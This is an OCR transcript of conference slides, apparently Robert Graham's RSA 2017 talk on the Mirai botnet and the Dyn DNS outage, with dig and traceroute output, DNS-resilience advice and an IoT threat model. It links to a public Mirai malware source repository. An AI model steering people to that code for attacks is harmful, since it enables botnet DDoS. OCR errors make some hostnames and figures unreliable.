3 xe-8-0-0-sur0l.nd4atlanta.ga.atlanta.comcast.net (68.86.110.137) 14.043 @
ms 14.880 ms 14.927 ms
4 96.108.151.117 (96.108.151.117) 18.882 ms 19.189 ms 19.773 ms
5 be-7725-cr02.56marletta.ga.lbone.comcast.net (68.86.93.125) 18.117 ms
16.663 ms 18.004 ms
hu-0-10-0-1-pe03.56marietta.ga.1bone.comcast.net (68.86.86.62) 15.333
10.595 ms 15.669 ms
50.242.151.58 (50.242.151.58) 10.716 ms 16.500 ms 16.441 ms
ae-5.r20.atlnga05.us.bb.gln.ntt.net (129.250.5.213) 16.126 ms 16.188
15.044 ms
ae-4.r22.asbnvaf2.us.bb.gln.ntt.net (129.250.4.165) 28.862 ms 28.942
28.887 ms
ae-1.r05.asbnvad2.us.bb.gin.ntt.net (129.250.2.20) 23.347 ms 28.061 m
28.922 ms
Xe-0-3-0-14.r05.asbnvaf2.us.ce.gln.ntt.net (168.143.97.146) 26.895 ms
28.085 ms 27.720 ms
12 hivecast-81-usiad.as15135.net (162.88.101.4) 27.919 ms hivecast-82-usl
ad.as15135.net (162.88.101.5) 23.507 ms hilvecast-84-usiad.as15135.net (162
.88.101.7) 29.430 ms
e UENN13  ns3.p34.dynect.net (208.78.71.34) 28.936 ms 29.166 ms 28.940 ms




Add own second DNS

Robert Graham

rob@raspfullnode: ~

33 AUTHORITY SECTION:
twitter.com.
twitter.com.
twitter.com.
twitter.com.
twitter.com.
twitter.com.

33 ADDITIONAL SECTION:
ns3.p34.dynect.net.

ns4.p34.dynect.net.

r01-01.ns.twtrdns.net.
r01-02.ns.twtrdns.net.
d01-01.ns.twtrdns.net.
d01-02.ns.twtrdns.net.

172800
172800
172800
172800
172800
172800

172800
172800
172800
172800
172800
172800

L #RSAC

ns3.p34.dynect.net.
ns4.p34.dynect.net.
ro1-01.ns.twtrdns.net.
ro1-02.ns.twtrdns.net.
do91-01.ns.twtrdns.net.
d91-02.ns.twtrdns.net.

208.78.71.34
204.13.251.34
205.251.195.113
205.251.197.74
208.78.70.34
204.13.250.34

RSAConference?2017




Add Amazon DNS

BN rob@raspfullnode: ~

33 AUTHORITY SECTION:
172800 nsl.p28.dynect.net.

172800 ns3.p28.dynect.net.
172800 ns-162.awsdns-20.com.
172800 ns-1264.awsdns-30.0rg.

33 ADDITIONAL SECTION:

nsl.p28.dynect.net. 172800 208.78.70.28
ns3.p28.dynect.net. 172800 208.78.71.28
ns-162.awsdns-20.com. 172800 205.251.192.162

4
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Drop DYN

rob@raspfullnode: ~

33 AUTHORITY SECTION:

33 ADDITIONAL SECTION:
pdnsl.ultradns.net.
pdnsi.ultradns.net.
pdns2.ultradns.net.
pdns2.ultradns.net.
ns-47.awsdns-05.COM.
ns-576.awsdns-08.net.

Robert Graham

172800
172800
172800
172800
172800
172800
172800
172800
172800
172800

172800
172800
172800
172800
172800
172800

pdns3.ultradns.org.
pdns4.ultradns.org.
pdnsi.ultradns.net.
pdns2.ultradns.net.
pdns5.ultradns.info.
pdns6.ultradns.co.uk.
ns-47.awsdns-05.COM.
ns-576.awsdns-08.net.
ns-1630.awsdns-11.co.uk.
ns-1086.awsdns-07.0rg.

2001:502:f3ff::
204.74.108.1
204.74.109.1
2610:al1:1014::
205.251.192.47
205.251.194.64

RSAConference?2017




All eggs in one basket

EX rob@raspfullnode: ~ — O »

33 AUTHORITY SECTION:

reddit.com. 172800 ns-557.awsdns-05.net.
reddit.com. 172800 ns-378.awsdns-47.com.
reddit.com. 172800 ns-1029.awsdns-00.0rg.
reddit.com. 172800 ns-1887.awsdns-43.co.uk.

33 ADDITIONAL SECTION:
ns-557.awsdns-05.net. 172800 205.251.194.45
ns-378.awsdns-47.com. 172800 205.251.193.122

&
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BGP changes

Robert Graham https://stat.ripe.net/widget/bgplay#w.resource=208.78.70.16
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| #RSAC

Increase TTLs

Robert Graham

rob@raspfullnode: ~

rob@raspfullnode: dig @208.78.71.34 twitter.com

<<>> D1G 9.9.5-9+deb8u9-Raspbilan <<>> @208.78.71.34 twitter.com

(1 server found)

global options: +cmd

Got answer:

-»>>HEADER<<- opcode: QUERY, status: NOERROR, id: 58100

flags: qr aa rd; QUERY: 1, ANSWER: 2, AUTHORITY: 8, ADDITIONAL: 1
WARNING: recursion requested but not avallable

- ae

.
LI ]
.
LI |
.
LI ]
.
LI |
.
LI |

3 OPT PSEUDOSECTION:

EDNS: version: 0, flags:; udp: 4096
3 QUESTION SECTION:
twitter.com. IN

e Ee EEe e

;3 ANSWER SECTION:
twitter.com. 1800 IN 104.244.42.1
twitter.com. 1800 IN 104.244.42.65

RSAConference?2017/



Resolver caching

® Resolvers cache responses

® Drops records after TTL seconds
e And get a new one

® Change: if you can’t get a new one, don’t drop record

Robert Graham
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Everybody’s doing it

® No persistence in botnet
® Many fight to take control of the devices

® Many splintered botnets rather than one large botnet

Robert Graham
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Conclusion

® The same attack won’t work again

Robert Graham




& Secure |

KrebhsonSecurity

In-depth security news and investigation

18 Who is Anna-Senpai, the Mirai Worm Author?

On September 22, 2016, this site was forced offline for nearly four days after it was hit with
“Mirai,” a malware strain that enslaves poorly secured Internet of Things (IoT) devices like
wireless routers and security cameras into a botnet for use in large cyberattacks. Roughly a
week after that assault, the individual(s) who launched that attack — using the name “Anna-
Senpai” — released the source code for Mirai, spawning dozens of copycat attack armies
online.

After months of digging, KrebsOnSecurity is now confident to have uncovered Anna-Senpai’s
real-life identity, and the identity of at least one co-conspirator who helped to write and
modify the malware.

[FREE] World's Largest Net:Mirai Botnet, Client, Echo Loader, CNC s ce code release

day 04:28 PM by Anna-senpel.)

https://krebsonsecurity.com/2017/01/who-is-anna-senpai-the-mirai-worm-author/
- RSAConference2017/
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Complicated

® ParasJha, 20 year old student
® Minecraft server maintainer, then anti-DDoS company
® Way to drive customers from other ant-DDoS companies

® Complicated interactions with the underground

Robert Graham

. . RSAConference2017




Source code

® Amateurish, like that of 20 year old students
® Doesn’t mean “stupid”, just not features of professional coders.
® Multiple coders

® https://github.com/jgamblin/Mirai-Source-Code

Robert Graham
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Apply: How to protect yourself?

® You probably don’t have cameras
e Vuln scanning for it on your network is probably pointless

® You need a DNS strategy
® You need a DDoS strategy
® You need a UPnP strategy

Robert Graham
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DNS server strategy

® Use redundant servers
® One should be a server than can handle DDoS

® Setlonger TTLs

Robert Graham
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DNS client strategy

® Setup your own resolver

® Disable discarding stale records after TTL if no response

® Make sure services can keep running if DNS fails
e The DNS supply chain

Robert Graham
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Apply: Policy question

® For government policy makers crafting laws/regulations

® What can government do to ward offloT botnets.

Robert Graham
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It’s a complicated answer

® Only 10.9% are in the United States
® Unbranded grey market, where they ignore regulation anyway

® |oT is behind firewall, cameras are exposed.
e This was not an loT botnet

® Cameras need remote reset (aka. Backdoor)

® Dyn fixed itself, without government help

Robert Graham
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An loT threat model, part 1

® No user interaction
e Clicking on links/emails is how you infect your desktop/laptop
e But not iPhones, mostly
e Not loT

® No exposed ports
e At least, as the norm
e So no direct vulnerable services, OWASP, etc.

Robert Graham
60
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An loT threat model, part 2

® Cross Site Request Forgery
e Clicking on links/emails

® Cloud service
e Phishing of username/password

e Cloud provider gets owned
— |loT autoupdate considered harmful

® Local WIFi

® UPnP etc. for inbound

Robert Graham
61
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An loT threat model, part 3

® Vendors demand inbound connection
e Old loT like medical devices, HVAC, etc.

® |oT on non-private networks
e Hospitals, bars, universities, etc.

® |Pv4 vs IPv6

e IPv4 for loT increasingly costly, moving to IPv6

Robert Graham
62
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Summary

® Details on how Mirai works

e Means knowing how cameras work

® How to protect yourself from Mirai
e No Mirai itself, but the attacks it does
e Fix your DNS

® What is the future?
e What’s the threat model?
e How can regulations help?

Robert Graham
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